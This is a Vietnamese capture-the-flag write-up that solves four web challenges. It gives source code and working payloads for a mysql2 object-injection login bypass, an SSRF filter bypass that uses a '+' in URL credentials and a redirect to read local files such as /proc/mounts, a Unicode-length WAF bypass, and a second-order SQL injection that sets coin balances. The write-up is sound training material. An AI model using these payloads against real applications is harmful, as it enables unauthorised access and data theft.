1. Vào đây!
Analysis
Bài này cho ta src code như sau
const fs = require('fs')
const app = require('fastify')()
const crypto = require('crypto')
const md5 = d => crypto.createHash('md5').update(d).digest('hex')
const dbPromisePool = require('mysql2').createPool({
host: 'mysql',
user: 'root',
database: 'local_db',
password: 'local_password'
}).promise()
// app.setErrorHandler((error, req, resp) => {
// console.error(`[fastify]`, error)
// resp.status(503).send({ error: 'Vui lòng thỠlại sau.' })
// })
app.addHook('preHandler', async (req, resp) => {
resp.status(200).header('Content-Type', 'application/json')
})
app.post('/login', async req => {
if (req.body.user === 'admin') return;
const [rows] = await dbPromisePool.query(`select *, bio as flag from users where username = ? and password = ? limit 1`, [req.body.user, req.body.pass])
return rows[0]
})
app.post('/register', async req => {
const [rows] = await dbPromisePool.query(`insert users(username, password, bio) values(?, ?, ?)`, [req.body.user, md5(req.body.pass), req.body.bio])
if (rows.insertId) return String(rows.insertId)
return { error: 'Lỗi, vui lòng thỠlại sau' }
})
app.get('/', async (req, resp) => {
resp.status(200).header('Content-Type', 'text/plain')
return fs.promises.readFile(__filename)
})
app.listen({ port: 3000, host: '0.0.0.0' }, () => console.log('Running', app.addresses()))
Nhìn qua src thì biết được bài này chỉ cần bypass câu điều kiện if (req.body.user === 'admin')
và khiến câu query trả về true với username là admin
Exploit
Để làm được điều đó ta cần biết mặc định fastify
có thể xử lý JSON trong request, để bypass req.body.user === 'admin'
đơn giản chỉ cần truyền para user
là một mảng
Tiếp theo ta cần câu truy vấn select *, bio as flag from users where username = ? and password = ? limit 1
trả về True
Trong thư viện mysql2
mà chall sử dụng, nếu truyền vào một object thì mysql2
sẽ tự động chuyển thành nội dung câu truy vấn
Ví dụ
dbPromisePool.query(`select * from demo where id = ?`, req.body.id))
// Input : {"id": {"username":"endy"}}
// Câu query sẽ thành: select * from demo where id = username = "endy"
//(Lưu ý username được xem như một column nên để câu query thực thi được thì đây phải là một column tồn tại trong table)
// Lúc này id = username sẽ trả về 0, tiếp tục so sánh 0 = "endy", mysql sẽ ép kiểu và trả về True
Payload cuối cùng sẽ là
{
"user" : ["admin"],
"pass":{
"username":"endyyy"}
}
}
2. Jo`in Le'm
Analysis
Đầu tiên bài này cho một đoạn PHP code nhưng đã được Obfuscated
<?php
goto TwWdv; kP1Xc: if ($url["\x73\143\150\145\155\145"] !== "\150\164\x74\160" && $url["\x73\x63\x68\x65\155\x65"] !== "\x68\164\x74\x70\x73") { die; } goto dD_At; B10vf: function curl($url) { $ch = curl_init($url); _: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $ua = "\x55\163\145\x72\55\x41\147\x65\x6e\x74\72\40" . ($_GET["\165\141"] ?? "\x76\x69\x6e\x68\x6a\141\170\164\57\x31\x2e\60\40\50\115\xc3\264\40\166\151\x6e\x61\x20\x5a\x61\151\x20\132\303\xb3\143\x20\126\xc6\xa1\40\x73\xe1\xba\247\156\x20\x36\x39\x2e\x30\56\61\x20\x6e\150\141\156\x68\x20\x74\165\171\xe1\xbb\207\x74\x20\x63\303\272\x20\155\303\xa8\x6f\40\143\150\341\272\245\156\40\xc4\x91\xe1\xbb\231\156\x67\x20\x6e\xc4\x83\155\x20\143\150\xc3\242\x75\x2c\x20\164\xc6\xb0\xc6\241\x6e\x67\x20\164\x68\303\255\143\150\x20\157\303\xa9\160\40\65\x20\x43\110\341\xba\xa4\x4d\40\60\54\x20\x6e\x68\141\156\x68\x20\304\x91\xc3\263\156\147\40\142\xc4\x83\x6e\147\40\x68\xe1\xbb\x8f\x61\x20\144\x69\xe1\273\207\x6d\40\163\306\241\x6e\x2c\x20\x76\341\273\233\x69\40\164\341\xbb\x91\x63\40\xc4\x91\341\xbb\x99\x20\303\xa1\156\150\40\x73\303\241\x6e\x67\x20\142\xe1\xbb\x9d\40\x6e\341\273\221\x63\40\x63\x68\303\xaa\x6e\x29"); curl_setopt($ch, CURLOPT_HTTPHEADER, array($ua)); curl_setopt($ch, CURLOPT_URL, $url); $d = curl_exec($ch); $redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL); $url = $redirect_url; $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpcode >= 300 && $httpcode < 400 && $redirect_url) { goto _; } curl_close($ch); return $d; } goto zUkQD; SZSj0: _: goto WuY9_; RzWUE: $ch = curl_init(); goto YlbNQ; dD_At: if ($url["\x68\x6f\163\x74"] === "\x31\62\x37\x2e\x30\x2e\60\x2e\61" || gethostbyname($url["\x68\157\x73\x74"]) === "\x31\x32\x37\x2e\x30\56\x30\x2e\x31") { die; } goto RzWUE; TwWdv: show_source(__FILE__); goto B10vf; zUkQD: $url = parse_url($_GET["\x75\162\154"]); goto kP1Xc; YlbNQ: if (curl_escape($ch, $_GET["\x75\162\154"]) === urlencode($_GET["\x75\162\154"])) { die; } goto SZSj0; WuY9_: echo curl($_GET["\165\x72\154"]);
Dùng tool deobfuscate online ta thu được
<?php
gotoTwWdv;
kP1Xc:
if ($url["scheme"] !== "http" && $url["scheme"] !== "https") {
die;
}
gotodD_At;
B10vf:
function curl($url) {
$ch = curl_init($url);
_:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$ua = "User-Agent: " . ($_GET["ua"] ? ? "vinhjaxt/1.0 (M vina Zai Zc V sn 69.0.1 nhanh tuyt c mo chn ng nm chu, tng thch op 5 CHM 0, nhanh ng bng ha dim sn, vi tc nh sng b nc chn)");
curl_setopt($ch, CURLOPT_HTTPHEADER, array($ua));
curl_setopt($ch, CURLOPT_URL, $url);
$d = curl_exec($ch);
$redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL);
$url = $redirect_url;
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($httpcode >= 300 && $httpcode < 400 && $redirect_url) {
goto_;
}
curl_close($ch);
return $d;
}
gotozUkQD;
SZSj0 : _ : gotoWuY9_;
RzWUE:
$ch = curl_init();
gotoYlbNQ;
dD_At:
if ($url["host"] === "127.0.0.1" || gethostbyname($url["host"]) === "127.0.0.1") {
die;
}
gotoRzWUE;
TwWdv:
show_source(__FILE__);
gotoB10vf;
zUkQD:
$url = parse_url($_GET["url"]);
gotokP1Xc;
YlbNQ:
if (curl_escape($ch, $_GET["url"]) === urlencode($_GET["url"])) {
die;
}
gotoSZSj0;
WuY9_:
echo curl($_GET["url"]); ?>
Đoạn code còn khá lộn xộn, mình tiếp tục format lại bằng cơm
<?php
// goto TwWdv;
show_source(__FILE__);
function curl($url) {
$ch = curl_init($url);
echo("Curling");
_:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$ua = "User-Agent: " . ($_GET["ua"] ?? "vinhjaxt/1.0 (M vina Zai Zc V sn 69.0.1 nhanh tuyt c mo chn ng nm chu, tng thch op 5 CHM 0, nhanh ng bng ha dim sn, vi tc nh sng b nc chn)");
var_dump($ua);
curl_setopt($ch, CURLOPT_HTTPHEADER, array($ua));
curl_setopt($ch, CURLOPT_URL, $url);
$d = curl_exec($ch);
var_dump($d);
$redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL);
echo($redirect_url);
$url = $redirect_url;
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($httpcode >= 300 && $httpcode < 400 && $redirect_url) {
goto _;
}
curl_close($ch);
return $d;
}
$ch = curl_init();
$url = parse_url($_GET["url"]);
if ($url["host"] === "127.0.0.1" || gethostbyname($url["host"]) === "127.0.0.1") {
echo("localhost block");
die;
}
if ($url["scheme"] !== "http" && $url["scheme"] !== "https") {
echo("schema block");
die;
}
echo(curl_escape($ch, $_GET["url"]));
echo("<br>");
echo(urlencode($_GET["url"]));
echo("<br>");
if (curl_escape($ch, $_GET["url"]) === urlencode($_GET["url"])) {
echo("escaped block");
die;
}
echo curl($_GET["url"]);
?>
Okie ta thấy ứng dụng nhận vào param url
và check xem nó có hợp lệ không, nếu có sẽ gửi curl request đến url
. Ngoài ra ta còn có thế thay đổi User-Agent của curl request thông qua param us
, nếu không thì nó sẽ lấy giá trị mặc định
Ta thấy đầu tiên nó sẽ check host có phải là 127.0.0.1 không nếu không nó kiểm tra sheme có phải là http
hoặc https
. Hai bước check này không quan trọng lắm. Điểm cần lưu ý là bước kiểm tra thứ 3 là so curl_escape($ch, $_GET["url"]) === urlencode($_GET["url"])
Muốn gửi được curl request thì ta phải bypass được 2 hàm này
Exploit
Mình dùng burp instruder để fuzz từng ký tự, xem có ký tự nào mà 2 hàm cho ra 2 kết quả khác nhau không, kết quả là ở ký tự +
2 hàm sẽ cho kết quả khác nhau
Okie bây giờ chỉ cần thêm +
vào url, tuy nhiên để không làm hỏng đường dẫn mình sẽ thêm dấu +
vào phần credientals của đường dẫn, ví dụ
http://endy:en+dy@tpytl7b1.requestrepo.com
Request repo của mình đã nhận được request
Tiếp theo ta để ý tại hàm curl của ứng dụng, nếu respone status code nằm trong khoảng 300-400 và $redirect_url
được set thì curl sẽ tiếp tục gửi request đến $redirect_url
Để khiến curl redirect ta chỉ cẩn chỉnh status code và thêm location header vào response của request repo
Kết quả
Tuy nhiên ta không biết được flag nằm ở đâu, mình cũng khá bí phần này cho đến khi có hint như thế này
Biết được có liên quan đến việc sử dụng volume để mount các tệp, mình thắc mắc là trong linux thì liệu có file nào chứa thông tin về các volume được mount không, sau khi search thì có file /proc/mounts
sẽ chứa các thông tin này
Nội dung file /proc/mounts
Vậy là flag nằm ở /home/siuvip_saoanhbatduocem/etc/passwd
3. Flag Holder
Analysis
Ta có một ứng dụng như thế này
Ứng dụng cho phép ta nhập vào template và replace {variable}
theo giá trị ta truyền vào
Source challage
from flask import Flask, request, render_template_string, render_template, make_response
import os
app = Flask(__name__)
FLAG = os.getenv("FLAG")
MAX_LENGTH = 20
def waf(string):
blacklist = ["{{", "_", "'", "\"", "[", "]", "|", "eval", "os", "system", "env", "import", "builtins", "class", "flag", "mro", "base", "config", "query", "request", "attr", "set", "glob", "py"]
for word in blacklist:
if word in string.lower()[:MAX_LENGTH]:
return False
return True
@app.route('/')
def hello():
return render_template("index.html")
@app.route("/render", methods = ["GET"])
def render():
template = request.args.get("template")
variable = request.args.get("variable")
if len(template) == 0 or len(variable) == 0:
return "Missing parameter required"
if len(template) > MAX_LENGTH or len(variable) > MAX_LENGTH:
return "Input too long"
if not waf(template) or not waf(variable):
return "Try harder broooo =)))"
data = template.replace("{FLAG}", FLAG).replace("{variable}", variable)
return render_template_string(data)
@app.route("/source", methods = ["GET", "POST"])
def source():
response = make_response(open("./app.py", "r").read(), 200)
response.mimetype = "text/plain"
return response
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
Ban đầu mình cứ nghĩ là SSTI tuy nhiên chỉ cần tìm cách bypass để template chứa ký tự {FLAG}
từ đó sẽ lấy được flag
Ta thấy ứng dụng đã kiểm tra độ dài của parameter tại if len(template) > MAX_LENGTH or len(variable) > MAX_LENGTH
tuy nhiên khi vào hàm waf()
nó lại tiếp tục check if word in string.lower()[:MAX_LENGTH]
Vậy thì liệu rằng có ký tự nào khiến len(template)
khác với len(template.lower())
hay không, khi đó ta có thể bypass được string.lower()[:MAX_LENGTH]
Exploit
Dùng đoạn script đơn giản sau để tìm ký tự đó
for i in range(1000):
if(len(chr(i).lower()) > 1):
print(i)
break
Ta tìm được ký tự đó là İ
, truyền İ
vào template đến khi lấy được flag (nhớ URL encode)
4. Ninja Shop
Analysis
Bài này cho ta một trang web có thể đăng ký, đăng nhập, update coins và mua flag
Trọng tâm của bài này là làm sao update được coins bằng 1337 để mua flag, tuy nhiên tối đa ta chỉ có thể update được 99 coins
if ( isset($_GET["new_balance"]) and waf($_GET["new_balance"]) ) {
if (strlen($_GET["new_balance"]) > 2) die("<strong>Only allow from 1 to 99</strong>");
else {
$result = $connection->query(sprintf("UPDATE coins SET coin=%s WHERE uid=%d", $_GET["new_balance"], (int) $_SESSION['uid']));
if ($result) die("<strong>Your coin has been updated</strong>");
else die("<strong>0ops!!! Coin update has failed</strong>");
}
}
Ban đầu mình SQLi ở login và có thể kiếm soát được uid
cũng như username
, tuy nhiên tại chức năng login thì không thể nào khai thác để lấy flag được vì username
không thể quá 26 ký tự và uid
thì bị ép sang kiểu int khi đưa vào câu query
Mình dùng Instruder để fuzz các ký tự có thể in được trong ASCII để tìm xem một ký tự cho ra kết quả khác thường, cuối cùng mình tìm được một ký tự có thể giúp mình hack tiền
Exploit
Unintended
Ký tự mình tìm được là ~
, đây là toán tử bitwise trong mySQL cho phép đổi ngược giá trị từng bit, ví dụ
1 = b'00000000000000000000000000000001'
~1 = b'11111111111111111111111111111110' = 18446744073709551614
Khi ta truyền vào new_balance
là ~1
thì ta sẽ update được số coin tối đa mà trường coin có thể chứa
Tiếp theo chỉ cần spam request mua liên tục để trừ coin xuống còn 1337 để lấy flag
Intended
Vậy thì còn cách intended thì sao, sau khi hỏi hint thì mình được gợi ý là sẽ SQLi để update coin
Để SQLi được thì trước tiên phải vượt qua được waf của chall
function waf($input) {
// Prevent sqli -.-
$blacklist = join("|", ["sleep", "benchmark", "order", "limit", "exp", "extract", "xml", "floor", "rand", "count", "or" ,"and", ">", "<", "\|", "&","\(", "\)", "\\\\" ,"1337", "0x539"]);
if (preg_match("/${blacklist}/si", $input)) die("<strong>Stop! No cheat =))) </strong>");
return TRUE;
}
Mọi untrusted data (trừ new_balance
) đều được lọc qua hàm waf này, có thể thấy ta chỉ có thể dùng SQLi union based để exploit, tuy nhiên vấn đề không dừng lại ở đó
Ban đầu mình thấy tác giả dùng %s
trong sprintf đối với giá trị của coin thay vì dùng %d
$result = $connection->query(sprintf("UPDATE coins SET coin=%s WHERE uid=%d", $_GET["new_balance"], (int) $_SESSION['uid']));
Nên mình nghỉ chỉ cần kiểm soát được %s
bằng cách bypass strlen($_GET["new_balance"]) > 2
là win, tuy nhiên không có cách nào làm được điều này
Tiếp tục quay trở lại nhìn code mình phát hiện tại profile.php
thì câu query sau dùng dấu '
cho chuỗi thay vì dùng "
như các nơi khác của chương trình
// Dòng 10 profile.php
$fullname = $connection->query(sprintf("SELECT fullname FROM users WHERE username='%s' limit 0,1", $_SESSION["username"]));
// Những nơi khác
// login.php
$result = $connection->query(sprintf('SELECT * FROM users WHERE username="%s" AND password="%s" limit 0,1', $_POST["username"], md5($_POST["password"])))->fetch_assoc();
// resiter.php
$connection->query(sprintf('SELECT * FROM users WHERE username="%s" and password="%s"', $_POST["username"], md5($_POST["password"])))->fetch_assoc()["uid"]
....
Điều này gợi lên mình một ý tưởng đó chính là Second Order SQLi tại profile.php
thông qua username
, bởi vì tại đây thì chỉ select 1 column, do đó payload của ta có thể có nhiều ký tự hơn (vì username max chỉ được 26 ký tự 😢), thêm vào đó khi inject tại đây thì sẽ không làm ảnh hưởng đến logic của việc login.
Tìm được nơi SQLi hợp lý rồi thì làm sao để set coin là 1338 (vì 1337 nằm trong blacklist), mình thấy vì câu query này nằm trong cùng 1 scope với câu query update coin, vậy thì sẽ ra sao nếu ta second order để khai báo một biến có giá trị là 1338 trong mySQL, sau đó tại câu query update ta gọi đến biến đó để set giá trị ?
Okie bắt tay vào thực hành, việc đầu tiên là tạo một tài khoản với username là 'union select @a:=1338#
Tiếp theo đăng nhập với username
đó
Khi đăng nhập thành công và truy cập vào profile.php
, second order sẽ được trigger tạo ra biến @a
với gái trị là 1338
Bây giờ chỉ cần update coin với new_balance=@a
Mua một món bất kỳ để tiền giảm xuống 1337, và việc cuối cùng là get falg